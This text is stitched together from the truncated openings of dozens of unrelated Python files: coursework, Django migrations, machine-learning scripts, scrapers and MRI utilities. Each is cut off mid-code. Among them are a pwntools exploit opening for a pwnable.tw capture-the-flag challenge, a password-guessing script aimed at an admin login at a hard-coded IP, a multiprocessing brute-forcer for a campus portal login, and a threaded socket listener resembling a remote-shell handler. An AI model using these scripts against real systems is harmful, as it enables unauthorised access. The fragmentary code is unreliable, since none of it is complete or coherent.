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class HTML: def __init__(self, output = None): self.output = output self.childrens = [] def __enter__(self): return self def __add__(self, other): self.childrens.append(other) return self def __exit__(self, *args): print("<html>...
"""CLI to upload data to a MetaGenScope Server.""" from sys import stderr import click from metagenscope_cli.sample_sources.data_super_source import DataSuperSource from metagenscope_cli.sample_sources.file_source import FileSource from .utils import batch_upload, add_authorization, parse_metadata @click.group() d...
# -*- coding: utf-8 -*- """ Created on Mon Oct 30 10:46:52 2017 Grab the filtered scenes, sort them based on acquisition dates, and save them as new sequentially numbered files @author: dzelenak """ import os import sys import pprint from shutil import copyfile from argparse import ArgumentParser def read_list(txtfi...
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
from PrettyData import *
# -*- coding: utf-8 -*- """MRI simulation functions. """ import numpy as np __all__ = ["birdcage_maps"] def birdcage_maps(shape, r=1.5, nzz=8, dtype=complex): """Simulates birdcage coil sensitivies. Args: shape (tuple of ints): sensitivity maps shape, can be of length 3, and 4. r...
import random characters = "abcdefghijklmnopqrsqrstuvwxyz" numbers = 1234567890 symbols = "!@#$%^&*" print(''' Passifier Running On Version: 1.0 Developed By github.com/AlirezaKJ/ ''') while True: while True: print(''' Press Enter To Continue Or Type Advanced To Enter Advanced Mode ''') mode ...
print("This is a string \nin \"Python\" ") phrase = "Truong Ho" print(phrase.lower()) print(len(phrase)) print(phrase[0].isupper()) print(phrase.index("Ho")) print(phrase.replace(" ", " Lam "))
from pwn import * r = remote("chall.pwnable.tw", 10205) #r = process("./babystack") #r = process('./babystack', env={"LD_PRELOAD":"./libc_64.so.6"}) def transIntToBytes(int_): return hex(int.from_bytes(int_, byteorder="little")) ### leak rand_num stack_element = b'' rand_num = b'' for t in range(16): paylo...
#! /usr/bin/env python import sys import ddlib # DeepDive python utility ARR_DELIM = '~^~' # For each input tuple for row in sys.stdin: parts = row.strip().split('\t') if len(parts) != 6: print >>sys.stderr, 'Failed to parse row:', row continue # Get all fields from a row words = parts[0].split(...
import unittest import Song class SongTests(unittest.TestCase): def setUp(self): self.such_song = Song.Song( "song_title", "song_artist", "song_album", 5, 523, 1024) def test_song_init(self): self.assertEqual("song_title", self.such_song.title) self.assertEqual("song_arti...
#!/usr/bin/env python # Author:tjy import sys print(sys.path) print(sys.argv) #打印相当路径 print(sys.argv[1]) ''' import os dir_res = os.system("dir") print("--->", dir_res) dir_res = os.popen("dir").read() print(dir_res) #os.mkdir("new") print(os.getpid()) '''
import os import argparse import datetime import tensorflow as tf from text_detector.detect_net import config as cfg from text_detector.detect_net.yolo_net import YOLONet from text_detector.utils.timer import Timer from text_detector.utils.import_data import text_detect_obj from text_detector.utils.logging import yolo_...
# Name: Wes MacDonald # Date: 11/30/2020 # Description: A program to simulate playing the abstract board game Focus/Domination class Board: """represents a board""" def __init__(self, p1_color, p2_color): """initializes a board object :param p1_color: player 1 piece color :type p1_colo...
class MyRange(object): """ 同时作为可迭代对象和迭代器,只能进行一次迭代 """ def __init__(self, start, end): self.start = start self.end = end self.index = start def __iter__(self): # 这个方法返回一个迭代器 return self def __next__(self): if self.index < self.end: tm...
import numpy as np import cv2 import os from time import sleep from random import shuffle from tqdm import tqdm car_list = os.listdir('temp_data/car') forest_list = os.listdir('temp_data/forest') #print(file_list) car = [] forest = [] car_one_hot = [1,0] forest_one_hot = [0,1] for file in tqdm(car_list): if file.en...
from django.contrib import admin from .models import Autor from .models import Ksiazka from .models import WypozyczonaKsiazka import adminactions.actions as actions from django.contrib.admin import site admin.site.register(Autor) #admin.site.register(Ksiazka) class KsiazkaAdmin(admin.ModelAdmin): list_display = (...
# -*- coding: utf-8 -*- """ Created on Sat Mar 2 16:33:52 2019 @author: saib """ class Student: total = 1 def __init__(self, n, a): self.__full_name=n self.age=a self.rollno = self.__class__.total self.__class__.total += 1 def inc_age(self, c): self.age+=c...
#### Script for plotting machine produced data #### #### IGA (machine 2) #### import glob, os from collections import OrderedDict import simplejson as json import matplotlib matplotlib.use('TkAgg') import matplotlib.pyplot as plt from matplotlib.pyplot import show, plot, ion import pylab import numpy as np if __n...
from BeautifulSoup import BeautifulSoup doc = open('base.html', 'r').readlines() soup = BeautifulSoup(''.join(doc)) parse = open('parse.html', 'w') parse.write(u'{0}'.format(soup.prettify())) print(soup.prettify()) parse.close()
from . import v1_core def list_nodes(): return v1_core.list_node()
from processamento.Imagem import Imagem from processamento import Filtros as ft """ Vamos ler algumas imagens, aplicar efeitos e salvá-las em arquivo """ def ler_imagem(caminho: str): img = open(caminho, encoding='utf-8') linhas = [] for linha in img: if not linha.startswith('#') and linha != '\...
tomato_slices, cheese_slices=map(int,input().split()) Big_count=0 small_count=0 val=0 if(tomato_slices>cheese_slices): val=tomato_slices else: val=cheese_slices for i in range(1,val): if(4*i<=tomato_slices and 1*i<=cheese_slices): Big_count+=1 else: break for j in range(1,val): if(2*j<=tomato_slices a...
# -*- coding: utf-8 -*- import nysol._nysolshell_core as n_core from nysol.mcmd.nysollib.core import NysolMOD_CORE from nysol.mcmd.nysollib import nysolutil as nutil class Nysol_Mcombi(NysolMOD_CORE): _kwd ,_inkwd,_outkwd = n_core.getparalist("mcombi",3) def __init__(self,*args, **kw_args) : super(Nysol_Mcombi,s...
#!/usr/bin/python # -*- coding: utf-8 -*- import requests # Dictionnaire à tester chars = '0123456789abcdef' checking_str = 'Non mauvais password' pwd_size = 32 # Hash MD5 en retour result = '' url = 'http://95.142.162.76:8082/index.php?p=admin' data = {'username' : 'admin', 'password' : 'admin'} print 'Merci de ...
"""Builds vocabularies of tokens, lemmas, POS tags and labels""" # Adapted from https://github.com/cs230-stanford/cs230-code-examples/blob/master/pytorch/nlp/build_vocab.py # accessed on 03/09/2020 import argparse import os import json from collections import Counter parser = argparse.ArgumentParser() parser.add_arg...
# -*- coding: utf-8 -*- """MRI utilities. """ import numpy as np import sigpy as sp __all__ = ["get_cov", "whiten", "tseg_off_res_b_ct", "apply_tseg"] def get_cov(noise): """Get covariance matrix from noise measurements. Args: noise (array): Noise measurements of shape [num_coils, ...] Returns...
#!/usr/bin/env python # encoding: utf-8 import time import requests import re from multiprocessing import Pool def get(pwd): url='http://222.179.99.144:8080/eportal/webGateModeV2.do?method=login&param=true&wlanuserip=10.117.30.232&wlanacname=Ruijie_Ac_80eeb9&ssid=CQWU&nasip=192.168.255.5&mac=f6995122027c&t=wireless-v...
#!/usr/bin/python try: import SocketServer as socketserver except ImportError: import socketserver class MyTCPHandler(socketserver.BaseRequestHandler): def handle(self): self.data = self.request.recv(1024).strip() print("{} wrote:".format(self.client_address[0])) decoded = self.dat...
# Generated by Django 3.0.6 on 2020-06-12 09:47 import colorfield.fields from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Home', '0015_auto_20200611_1907'), ] operations = [ migrations.AddField( model_name='item', ...
import time import torch import numbers from collections import Counter import torch import torch.functional as F from torch.nn.utils.rnn import pad_sequence from torchtext.datasets import text_classification from torchtext.vocab import Vocab import metrics import numpy as np _t0 = time.time() def log(*args, **kwargs...
# -------------------------------------------------------------------- import doctest import unittest import os import sys # -------------------------------------------------------------------- def sq (x) -> int: # Doc string contains expected results. Reises exceptions when not met ''' Calculates the square...
import socket import sys import threading import time from queue import Queue Number_OF_THREADS=2 JOB_NUMBER=[1,2] queue=Queue() all_connection=[] all_address=[] def create_socket(): try: global host global port global s host="" port = 9999 s=socket.socket() except socket.error as mess: print(st...
""" Time Complexity = O(N) Space Complexity = O(1) """ class Solution: def minCostToMoveChips(self, position: List[int]) -> int: even = odd = 0 for i in position: if i%2 == 0: even += 1 else: odd += 1 return min(odd...
#!/usr/bin/python #-*- coding: utf-8 -*- ''' Created on 2017-04-07 15:17:55 @author: Maxing ''' import requests from requests.exceptions import ConnectionError import time import os import sys import json import codecs import logging from utils import save_items, get_items_from_file, add_item_fields, log_init reloa...
#!/usr/bin/python # This script generates templates for level 1 analysis performed after ICA-AROMA. Adapted from Jeanette Mumford. import os import glob # Set this to the directory all of the sub### directories live in studydir = '/Volumes/KATYA5GBA/HCP_Gambling_RESULTSevent' # Set this to the direct...
from django.shortcuts import render from django.http import HttpResponse from .models import Detail from .serializers import Detailserializers from rest_framework.renderers import JSONRenderer # Create your views here. def index(request): return HttpResponse("welcome to the practice") def see(request): data=De...
#7. Write a code to compare two string data based on the length of the string hint; __gt__ method import re class Comp(): def __init__(self, values): self.__values = values def __gt__(self,strng): if(self.__values==strng.__values): print "You entered same strings" retur...
# The bullet points associated with this set of tests in the evaluation document test_set_id = "2.2.2" # User friendly name of the tests test_set_name = "Search Params" # Probably best for tests to log to this one so that they will all have the same entry import logging logger = logging.getLogger(__name__)
class TreeNode(object): def __init__(self, x): self.val = x self.left = None self.right = None class Solution(object): def sortedArrayToBST(self, nums): """ :type nums: List[int] :rtype: TreeNode """ def build(nums): if not nums: retur...
from django.shortcuts import render from django.http import HttpResponse from django.http import JsonResponse import numpy from selenium import webdriver from bs4 import BeautifulSoup import requests as rq import pandas as pd from time import sleep import re import aspect_based_sentiment_analysis as absa modal_list=[] ...
with open('test.txt', 'r') as f: content = f.read() print(content) with open('test.txt', 'r') as f1: line = f1.readline() print(line) with open('test.txt', 'r') as f2: lines = f2.readlines() print(lines) with open('test.txt', 'r') as f3: line = f3.readline() print(line, end='') ...
# This program asks the user for some personal details # the program asks the user for their name # then greets them name = input("Enter your name") print("Hello", name) # ask user for age then say Your age is.... age = input("Enter your age") print("You are", age) #ask user for favourite movie movie = input("What ...
#coding:utf-8 from dao.dao import Dao class SessionDao(object): def __init__(self, session): self.session = session def get(self): session_id = session.get_session_id() return { "session_id" : session_id, "user_id" : 1, "status" : 1, ...
#!/usr/bin/python3 # -*- coding: utf-8 -*- # @Time : 2018/10/4 16:41 # @Author : dapeng!! # @FileName: code_list_13.py ''' 一个列表排重,多种实践方法 ''' list1 = [7,1,2,3,4,5,5,6,7,9,8,9] # 常规通过循环排重 list2 = [] for i in list1: if i not in list2: list2.append(i) else: print("") print(list2) # 内置函数set去重 ...
# # Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren, # Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor, # Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan, # Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl # # This file is part of acado...
import pandas as pd import numpy as np def historicalData(): data_set = pd.read_csv("data/mlb_historical_data.csv") runs_game = list(data_set.loc[:, 'R/G']) corr_dict = {} for i in range(1, len(data_set.loc[0, :])): x_values = list(data_set.iloc[:, i]) correlation_matrix = np.corr...
import datetime import os import sys import time import logging import requests from config import PROXY_URL class SpiderBase(): selenium = False name = 'base' def __init__(self, logger=None, account=None): # self.name = 'base' self.l = logger if logger else logging self.driver =...
# coding: UTF-8 from numpy import * import operator import math import random from os import listdir import Knn #from Knn import ArgSort_k # 跟KNN差不多。只是这里的距离是已经提前算好的。还是本质还是通过KNN来模式识别。 def topk(distances,labels,k): sortedDistIndicies = Knn.ArgSort_k(distances,len(distances),k); #print 'sortedDistIndicies',sortedD...
yes_questions = set() total_questions = 0 for line in open('in').readlines(): if line == '\n': total_questions += len(yes_questions) yes_questions = set() continue yes_questions |= set(line.strip()) total_questions += len(yes_questions) print(total_questions)
import socket import os import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) ip_address= s.getsockname()[0] print(ip_address) s.close() def_email = os.getenv("EMAIL") def_pass = os.getenv("EM...
# -*- coding: utf-8 -*- from urllib import parse import scrapy from scrapy.http import Request from articleSpider.items import ArticleItem class JobboleSpider(scrapy.Spider): name = 'jobbole' allowed_domains = ['blog.jobbole.com'] start_urls = ['http://blog.jobbole.com/all-posts/'] def parse(self, re...
# Generated by Django 2.0.dev20170827005745 on 2017-10-03 03:18 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('journals', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='entry', name='orgin...
from __future__ import print_function import argparse COUNTER = 0 class Stack: def __init__(self): self.stack = [] def pop(self): if self.isEmpty(): return None else: return self.stack.pop() def push(self,val): return self.stack.append(val) de...
def fib(n): if n == 1 or n == 2: return 1 return fib(n-1) + fib(n-2) print fib(1) print fib(8)
import csv import os import re import shutil import sys import timeit import urllib.request class Scrape: def __init__(self, infile, outfile, errfile, outdir): self.infile = infile self.errfile = errfile self.outfile = outfile self.outdir = outdir # Get rid of old output and er...
import pandas as pd import requests from bs4 import BeautifulSoup page = requests.get('https://forecast.weather.gov/MapClick.php?lat=34.10275767047926&lon=-118.33700636828377#.X0NkPhHhVNg') soup = BeautifulSoup(page.content, 'html.parser') week = soup.find(id='seven-day-forecast-body') items = week.find_all(class_='tom...
import json input = input() data = json.loads(input) classs = dict() offspr = dict() check = dict() def checking(name, elem): for x in classs[name]: if elem not in check[x]: check[x].append(elem) offspr[x] += 1 checking(x, elem) for y in data: classs[y['name']] = ...
# -*- coding: utf-8 -*- # # Certbot documentation build configuration file, created by # sphinx-quickstart on Sun Nov 23 20:35:21 2014. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # A...
class URLS: restaurants = 'https://disneyworld.disney.go.com/dining/' token = 'https://disneyworld.disney.go.com/authentication/get-client-token/' availability = 'https://disneyworld.disney.go.com/finder/dining-availability/' DEFAULT_HEADER = {'X-Requested-With': 'XMLHttpRequest'} try: import lxml BS_LEXER = 'lx...
import time import sys def TripletFinder(SourceFile): Number = [] Length = 100000 PreviousI = 101 PreviousJ = 101 PreviousK = 101 with open(SourceFile) as File: for Index in range(Length): Line = File.readline() Number.append(int(Line)) Number.sort() ...
import math import jieba from openpyxl import load_workbook import re def count_min(i,j,sen_word,degree_word,not_words,degree_dict,word_list_2,a,sigma): sum_not=0 sum_degree=0 x = -math.pow(j-a,2)/(2*math.pow(sigma,2)) for m in range(i+1,j): if word_list_2[m] in not_words: ...
import pygame ###########################################################(반드시 필요) pygame.init() #처음 초기화 하는 기능 #화면 크기 설정 screen_width= 480 screen_height = 640 screen = pygame.display.set_mode((screen_width,screen_height)) #실제로 적용됨 #화면 타이틀 설정 pygame.display.set_caption("Nado Game") #게임 이름 설정 # FPS clock...
class Person: def __init__(self, fname, lname): self.fname = fname self.lname = lname def printname(self): print(self.fname, self.lname) x = Person("PersonFN", "PersonLN") x.printname() class Student(Person): def __init__(self, fname, lname): # Person.__init__(self, fname,...
import unittest import numpy as np from meta_learn.GPR_mll import GPRegressionLearned from meta_learn.GPR_meta_mll import GPRegressionMetaLearned from gpytorch.kernels import CosineKernel import torch class TestGPR_mll(unittest.TestCase): def setUp(self): ## --- generate toy data --- # torch.ma...
# -- coding:utf-8 -- import socket,traceback,os,os.path,sys,time,struct,base64,gzip,array,json,zlib,threading import datetime,uuid def getmtime(file): try: return os.path.getmtime(file) except: return 0 def getfiledigest(file,bufsize=1024*5,type='md5'): import hashlib m = hashlib.md5() try: fp = open(file...
from django.contrib import admin from .models import User, Organisation, UserOrganisation # Register your models here. admin.site.site_header = 'Orange Track' class UserOrganisationAdmin(admin.ModelAdmin): search_fields = ['organization'] list_display = ('organization', 'user', 'is_admin') fields = ('org...
N, M = map( int, input().split()) print(((N-M)*100 + M*1900)*(2**M))
from distutils.core import setup, Extension import os import numpy as np def numpy_include(): try: inc = np.get_include() except AttributeError: inc = np.get_numpy_include() return inc np_inc = numpy_include() script_root = os.path.dirname(os.path.realpath(__file__)) src_root = f'{scri...
# Generated by Django 2.0.1 on 2018-02-20 07:55 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('PlanningBoard', '0024_merge_20180218_2012'), ] operations = [ migrations.RenameField( model_name='planning', old_name='recru...
#!/usr/bin/python import socket import sys UDP_IP = '127.0.0.1' UDP_PORT = 1737 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind((UDP_IP, UDP_PORT)) while 1: data = s.recv(1024) #print data, sys.stdout.write(data); conn.close()
from .create_invite import CreateInviteController from ..usecases import create_invite_usecase create_invite_controller = CreateInviteController(create_invite_usecase)
from setuptools import setup setup( name='Flask-FirebaseAuth', version='0.1.1', description='Google Firebase Authentication integration for Flask', packages=['flask_firebaseauth'], include_package_data=True, install_requires=[ 'Flask>=0.11', 'PyJWT>=1.4', 'cryptography>=...
# input L = ['mango', 'grapes', 'banana', 'apple'] # process ''' new = ['cherries', 'gauva', 'melon'] L.extend(new) L.remove('grapes') L.sort() ''' L = ['mango', 'grapes', 'banana', 'apple'] L.remove('grapes') L1 = ['cherries', 'gauva', 'melon'] L.extend(L1) L.sort() print(L) # output #...
import numpy as np class Prediction: def __init__(self): self.n = 3 self.N = self.n * self.n self.bk = 9 q_tab = np.load('./q_tab_9.npz') k = q_tab['k'] v = q_tab['v'] self.q_tab = dict(zip(k, v)) # 构建Q表 self.X = [-1, 0, 1, 0] s...
import base64 import os import json import pytest from sdc.crypto.exceptions import InvalidTokenException from sdc.crypto.jwt_helper import JWTHelper from sdc.crypto.key_store import KeyStore from tests import TEST_DO_NOT_USE_UPSTREAM_PUBLIC_PEM, TEST_DO_NOT_USE_SR_PRIVATE_PEM, \ TEST_DO_NOT_USE_UPSTREAM_PRIVATE_...
import re for _ in range(int(input())): s = input() if re.fullmatch(r'[456]\d{3}(-?)\d{4}\1\d{4}\1\d{4}', s) and not re.search(r'(\d)\1{3}', s.replace('-', '')): print("Valid") else: print("Invalid")
import click from .. import MinecraftServer server = None @click.group(context_settings=dict(help_option_names=['-h', '--help'])) @click.argument("address") def cli(address): """ mcstatus provides an easy way to query Minecraft servers for any information they can expose. It provides three modes of ...
#!/usr/bin/env python # -*- coding: UTF-8 -*- # Copyright (C) 2011 Rodrigo Pinheiro Marques de Araujo # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation; either version 2 of the License, or (at ...
from sys import stdout def show_progress(counter, max_num): stdout.flush() stdout.write("\rthinking...(%d/%d)" % (counter+1, max_num)) def fin_progress(): stdout.write("\r\n")
# Shadows import pygame, projections3D, structures_3D size = 1000 class World(projections3D.Projection): """docstring for World.""" def __init__(self, width, height, background=(255, 255, 255), floor=None): super(World, self).__init__(width, height) self.background = background self.fl...
import re import asyncio import aiohttp import requests class APIHandler: def __init__(self, api_key): self.api_key = api_key self.base_query_url = 'https://www.alphavantage.co/query' async def fetch_data(self, session, url): """ Retrieve json data from a given url through AP...
import numpy as np import cv2 def houghTransform(edged,x0,x1,y0,y1): maxVote = 0 # loop the region and find the edge pixel for x in range(x0,x1): for y in range(y0,y1): if edged[y,x] > 0: for a in range(x0...
import pygame from pygame import font class Button(): def __init__(self,alien_setting,screen,msg): # 初始化按钮属性 self.screen = screen self.screenRect = screen.get_rect() #设置按钮的尺寸和其他属性 self.width,self.height = 200,50 self.buttonColor = (0,255,0) self.textColor = (...
#input # 27 # 90 17 # 67 76 # 21 22 # 28 66 # 58 33 # 47 25 # 40 48 # 22 21 # 11 15 # 57 64 # 65 76 # 38 36 # 88 19 # 70 25 # 52 27 # 77 51 # 34 53 # 37 46 # 66 56 # 21 34 # 79 59 # 50 29 # 17 62 # 41 18 # 68 88 # 73 42 # 73 20 def chance_for_a_to_win(pa,pb): return sum(((1-pa)*(1-pb))**(n-1) * (pa) for n in range(1...
""" Author: Sidhin S Thomas (sidhin@trymake.com) Copyright (c) 2017 Sibibia Technologies Pvt Ltd All Rights Reserved Unauthorized copying of this file, via any medium is strictly prohibited Proprietary and confidential """
import time from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.action_chains import ActionChains from Home_Work_python.Learn_python3.Home_Work_1...
""" Modifique as funções que foram cridas no desafio 107 para que elas aceitem um parâmetro a mais, informando se o valor retornado por elas vai ser ou não formatado pela função moeda(), desenvolvida no desafio 108. """ from df109_moeda import moeda price = float(input('Price: R$')) print(f'The double of {moeda.moed...
# -*- coding: UTF-8 -*- import sys import re import time def wordCount(file_in): file_in = open(file_in, 'r') file_out = open('result', 'w') words = {} tic = time.clock() for line in file_in: line = re.sub('[^(a-zA-Z)+\ \']+', " ", line) line_words = line.split() for word ...
#!/usr/bin/env python import rospy import itertools from robotnik_msgs.srv import set_digital_output, set_digital_outputRequest, set_named_digital_output, set_named_digital_outputResponse from robotnik_msgs.msg import inputs_outputs, named_input_output, named_inputs_outputs class NamedIO(): def __init__(self): ...
from collections.abc import MutableMapping import json class StoreComparer(MutableMapping): """ Compare two store implementations, and make sure to do the same operation on both stores. The operation from the first store are always considered as reference and the will make sure the second store will...
""" Wrappers for handling remote run data (S3) """ from pathlib import Path from typing import List from autumn import settings from autumn.core.utils import s3 class RemoteRunData: def __init__(self, run_id: str, client=None): """Remote (S3) wrapper for a given run_id Args: run_id ...
import numpy as np import sklearn import tensorflow as tf from questions.utils import py_str from .symbol_cost import SymbolCostModel class Direct(SymbolCostModel): def __init__(self, questions): super().__init__() self.costs = {} for p, q in questions.items(): self.costs[p] =...
from __future__ import print_function import wspc try: c = wspc.Client('ws://localhost:9001') ''' Go to http://localhost:9001 to get list of supported remote procedures and notifications along with their arguments ''' c.callbacks.ping_event( lambda tick: print('ping - tick: {}'.format...
SERVER_CONNECTION_ERROR = 1 NOT_INSTARTER_SERVER = 2 VERSION_MISMATCH = 3 NOT_REGISTERED = 4 LOG_FILE_DOESNT_EXIST = 5 NOT_AMAZON_INSTANCE = 6 CONFIG_FILE_DOESNT_EXIST = 7 class NotInstarterServerError(Exception): pass class VersionMismatchError(Exception): pass class NotConfiguredInstance(Exception): ...
#!/usr/bin/env python import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt figure = plt.figure() axes = figure.add_subplot(111) xs = range(20) def y(x, a, b): return x * a + b for b in range(-5, 6): axes.plot(xs, [y(x, 1, b) for x in xs]) axes.axis(xmin=0, xmax=10, ymin=-5, ymax=15) axes.s...
import numpy as np import cv2 cap = cv2.VideoCapture(0) # params for ShiTomasi corner detection feature_params = dict( maxCorners = 10, qualityLevel = 0.3, minDistance = 7, blockSize = 7 ) # Parameters for lucas kanade optical flow lk_params = dict(...
import pyshark import sys import ipaddress from filter import Filter class Result: def __init__(self, tag, comment): self.tag = tag self.comment = comment class Probability: def __init__(self, device_type, value): self.device_type = device_type self.value = value def calcul...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun May 13 20:22:46 2018 @author: vinicius """ #Data preprocessing #Importing the libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd np.set_printoptions(threshold=np.nan) #to be able to see the full array #Import the dataset ...
import numpy as np from numpy import pi import logging import warnings import inspect from .errors import DiagnosticNotFilledError from .kernel import PseudoSpectralKernel, tendency_forward_euler, tendency_ab2, tendency_ab3 from .parameterizations import Parameterization try: import mkl np.use_fastnumpy = True...